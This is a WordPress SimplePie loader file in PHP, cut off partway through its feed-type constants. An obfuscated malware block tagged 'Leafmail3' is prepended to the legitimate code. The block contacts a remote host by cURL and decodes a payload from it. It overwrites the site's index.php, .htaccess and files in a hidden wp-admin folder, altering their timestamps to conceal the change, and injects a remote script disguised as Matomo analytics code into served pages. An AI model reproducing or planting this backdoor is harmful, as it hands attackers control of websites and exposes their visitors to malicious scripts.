AlkantarClanX12
Your IP : 3.140.198.201
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
if ( ! class_exists( 'SimplePie', false ) ) :
// Load classes we will need.
require ABSPATH . WPINC . '/SimplePie/Misc.php';
require ABSPATH . WPINC . '/SimplePie/Cache.php';
require ABSPATH . WPINC . '/SimplePie/File.php';
require ABSPATH . WPINC . '/SimplePie/Sanitize.php';
require ABSPATH . WPINC . '/SimplePie/Registry.php';
require ABSPATH . WPINC . '/SimplePie/IRI.php';
require ABSPATH . WPINC . '/SimplePie/Locator.php';
require ABSPATH . WPINC . '/SimplePie/Content/Type/Sniffer.php';
require ABSPATH . WPINC . '/SimplePie/XML/Declaration/Parser.php';
require ABSPATH . WPINC . '/SimplePie/Parser.php';
require ABSPATH . WPINC . '/SimplePie/Item.php';
require ABSPATH . WPINC . '/SimplePie/Parse/Date.php';
require ABSPATH . WPINC . '/SimplePie/Author.php';
/**
* WordPress autoloader for SimplePie.
*
* @since 3.5.0
*
* @param string $class Class name.
*/
function wp_simplepie_autoload( $class ) {
if ( ! str_starts_with( $class, 'SimplePie_' ) )
return;
$file = ABSPATH . WPINC . '/' . str_replace( '_', '/', $class ) . '.php';
include $file;
}
/**
* We autoload classes we may not need.
*/
spl_autoload_register( 'wp_simplepie_autoload' );
/**
* SimplePie
*
* A PHP-Based RSS and Atom Feed Framework.
* Takes the hard work out of managing a complete RSS/Atom solution.
*
* Copyright (c) 2004-2017, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* * Neither the name of the SimplePie Team nor the names of its contributors may be used
* to endorse or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
* AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @package SimplePie
* @version 1.5.8
* @copyright 2004-2017 Ryan Parman, Sam Sneddon, Ryan McCue
* @author Ryan Parman
* @author Sam Sneddon
* @author Ryan McCue
* @link http://simplepie.org/ SimplePie
* @license http://www.opensource.org/licenses/bsd-license.php BSD License
*/
/**
* SimplePie Name
*/
define('SIMPLEPIE_NAME', 'SimplePie');
/**
* SimplePie Version
*/
define('SIMPLEPIE_VERSION', '1.5.8');
/**
* SimplePie Build
* @todo Hardcode for release (there's no need to have to call SimplePie_Misc::get_build() only every load of simplepie.inc)
*/
define('SIMPLEPIE_BUILD', gmdate('YmdHis', SimplePie_Misc::get_build()));
/**
* SimplePie Website URL
*/
define('SIMPLEPIE_URL', 'http://simplepie.org');
/**
* SimplePie Useragent
* @see SimplePie::set_useragent()
*/
define('SIMPLEPIE_USERAGENT', SIMPLEPIE_NAME . '/' . SIMPLEPIE_VERSION . ' (Feed Parser; ' . SIMPLEPIE_URL . '; Allow like Gecko) Build/' . SIMPLEPIE_BUILD);
/**
* SimplePie Linkback
*/
define('SIMPLEPIE_LINKBACK', '<a href="' . SIMPLEPIE_URL . '" title="' . SIMPLEPIE_NAME . ' ' . SIMPLEPIE_VERSION . '">' . SIMPLEPIE_NAME . '</a>');
/**
* No Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
define('SIMPLEPIE_LOCATOR_NONE', 0);
/**
* Feed Link Element Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', 1);
/**
* Local Feed Extension Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', 2);
/**
* Local Feed Body Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4);
/**
* Remote Feed Extension Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8);
/**
* Remote Feed Body Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
define('SIMPLEPIE_LOCATOR_REMOTE_BODY', 16);
/**
* All Feed Autodiscovery
* @see SimplePie::set_autodiscovery_level()
*/
define('SIMPLEPIE_LOCATOR_ALL', 31);
/**
* No known feed type
*/
define('SIMPLEPIE_TYPE_NONE', 0);
/**
* RSS 0.90
*/
define('SIMPLEPIE_TYPE_RSS_090', 1);
/**
* RSS 0.91 (Netscape)
*/
define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2);
/**
* RSS 0.91 (Userland)
*/
define('SIMPLEPIE_TYPE_RSS_091_USERLAND', 4);
/**
* RSS 0.91 (both Netscape and Userland)
*/
define('SIMPLEPIE_TYPE_RSS_091', 6);
/**
* RSS 0.92
*/
define('SIMPLEPIE_TYPE_RSS_092', 8);
/**
* RSS 0.93
*/
define('SIMPLEPIE_TYPE_RSS_093', 16);
/**
* RSS 0.94
*/
define('SIMPLEPIE_TYPE_RSS_094', 32);
/**
* RSS 1.0
*/
define('SIMPLEPIE_TYPE_RSS_10', 64);
/**
* RSS 2.0
*/
define('SIMPLEPIE_TYPE_RSS_20', 128);
/**
* RDF-based RSS
*/
define('SIMPLEPIE_TYPE_RSS_RDF', 65);
/**
* Non-RDF-based RSS (truly intended as syndication format)
*/
